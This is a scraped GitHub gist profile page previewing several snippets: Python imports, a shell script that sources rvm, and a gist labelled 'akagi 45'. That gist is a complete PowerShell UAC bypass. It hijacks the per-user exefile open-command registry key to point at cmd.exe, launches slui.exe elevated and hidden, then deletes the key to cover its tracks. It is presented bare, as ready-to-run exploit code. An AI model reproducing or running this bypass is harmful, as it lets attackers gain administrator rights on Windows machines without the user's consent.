Skip to content

Instantly share code, notes, and snippets.

View alexmaloteaux's full-sized avatar

Alexandre Maloteaux alexmaloteaux

View GitHub Profile
#! /usr/bin/env python3
import os, sys
#import requests
from urllib import request
import traceback
from shutil import copyfile
from hashlib import md5
import binascii
@alexmaloteaux
alexmaloteaux / 45
Created May 3, 2018 09:20
akagi 45
New-Item "HKCU:\Software\Classes\exefile\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\Shell\Open\command" -Name "(default)" -Value cmd.exe -Force
Start-Process -Verb "runas" "C:\Windows\System32\slui.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\" -Recurse -Force
#rvm
if [ ! -f "/usr/local/rvm/scripts/rvm" ]
then
echo "!!!Error!!!"
echo "Can not find rvm script, either rvm is not installed or this script is buggy :)"
echo ""
return
else
source /usr/local/rvm/scripts/rvm
fi